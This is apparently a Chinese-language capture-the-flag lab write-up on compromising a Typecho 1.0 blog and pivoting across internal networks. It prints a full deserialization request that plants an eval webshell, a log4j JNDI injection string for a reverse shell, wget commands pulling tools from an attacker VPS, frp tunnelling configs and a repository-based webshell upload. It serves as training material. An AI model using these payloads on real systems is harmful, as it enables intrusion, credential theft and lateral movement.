开启靶场,访问主页,看到了这么个博客,用Wappalyzer简单的做了一下指纹识别,再配合F12查看源码,最终找到了博客的框架版本。
上网搜索一下Typecho 1.0/14.10.10的nday利用,最终找到这么一篇文章:https://blog.csdn.net/weixin_43886198/article/details/111474906,完美符合条件,搭配上文章中提到的poc,我们向install.php发送特定请求,数据包内容如下

POST /install.php?finish HTTP/1.1Host: 106.14.212.180User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 929Origin: http://106.14.212.180Connection: closeReferer: http://106.14.212.180/install.php?finishCookie: PHPSESSID=5nt895b5pkbe53mtd5nvkf30f6Upgrade-Insecure-Requests: 1
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjYzOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbYnV6aGlkYW9dKT8%2BJykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2MzoiZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUW2J1emhpZGFvXSk%2FPicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D输入buzhidao链接蚁剑,根目录下读取文件拿到第一个flag

之后再去网站根目录下转转,读取config.inc.php,得到数据库用户名以及密码,用蚁剑的数据管理模块搭配用户名密码链接,读取第二个flag

进入横向移动阶段,用拿的webshell传一个fscan到tmp目录下,加权限查本机ip一通乱梭后,fscan直接开扫,扫描结果如下。
我们重点关注一下192.168.0.3这个IP,老办法传个frp上去,其中frpc的内容如下
- Frpc.ini
[common]# 服务端地址及端口server_addr = XXX.XXX.XXX.XXXserver_port = 10013log_file = /dev/stdoutlog_level = infolog_max_days = 3
# 发布本地 web 服务[web]type = tcp# 映射iplocal_ip = 192.168.0.3# 映射端口local_port = 80# 云服务器的80端口remote_port = 10014上传上去之后vps启动监听,靶机也启动frpc
成功把流量转发到了vps的10014端口上,访问界面如下
接下来的步骤就是通过目录扫描,发现源码泄露,然后再经过一番代码审计发现存在log4j漏洞,但这么一步一步截图操作下来有些太麻烦了,这里直接开打。
在vps上开启反弹shell监听,准备好jndi注入的链接。
在用户名处输入: ${jndi:rmi://xxxxxxx:1099/hiksok},完成jndi注入,vps提示上线,直接查看环境变量, 瞬秒3个flag.

然后跳到tmp目录下,用wget命令下载下来我们要用的fscan_amd64和frpc (已经挂在vps上了)
vps: 1. python3 -m http.server 60005client: 1. wget http://xxxxxx:60005/fscan_amd64 2. wget http://xxxxxx:60005/frpc 3. wget http://xxxxxx:60005/frpc.ini 4. wget http://xxxxxx:60005/frpc_full.inifscan扫描结果如下,这里去把192.168.1.3给代理出来,启动frp,访问代理结果,得到如下界面

这里是用到了我们git上马的一个技巧,去git一个有马的库到本地就行,因为这里可以对phtml进行解析,所以我们的马也要是phtml类型的,这里是自己建了这么一个库,我们直接submit一下地址就可以上马了:https://github.com/F4miti0n/bugku2.git,最终也是蚁剑成功链接,在根目录读取到了第七个flag


接着到tmp上传frp和fscan_amd64,查完ip之后发现它还有一个网卡,我们把目标定为10.xx.xx.xx这个网段,fscan开扫结果如下。

基本没什么东西能打了,10.10.0.1和10.10.0.2都被打完了,只有10.10.0.3这么个漏网之鱼还留着。因为它只开了21端口,我们肯定会先想到去打它的ftp服务,比如用匿名访问什么的去试一下。但不管怎么样,显然我们需要先把他给代理出来,再调用一下frp(frpclient内容如下)
[common]# 服务端地址及端口server_addr = xxx.xxx.xxx.xxxserver_port = 10013log_file = /dev/stdoutlog_level = infolog_max_days = 3
# 构建socks5代理[socks]type = tcpplugin = socks5# 云服务器的端口remote_port = 60014本来是想单独代理一个端口出来的,但发现ftp怎么都链接不上,看提示说好像是还要代理几个别的端口,很烦人,直接上个socks5代理当vpn用算了,靶机那边链接一下frp,kali那边在conf文件下配置/etc/proxychains4.conf。
socks5 xxx.xxx.xxx.xxx 60014//文件尾加这么一行一开始匿名访问没有成功,后来发现原来给提示了,账户名密码都是guest,我们直接就能链接上ftp,最终在根目录和当前目录收集到了最后两个flag。
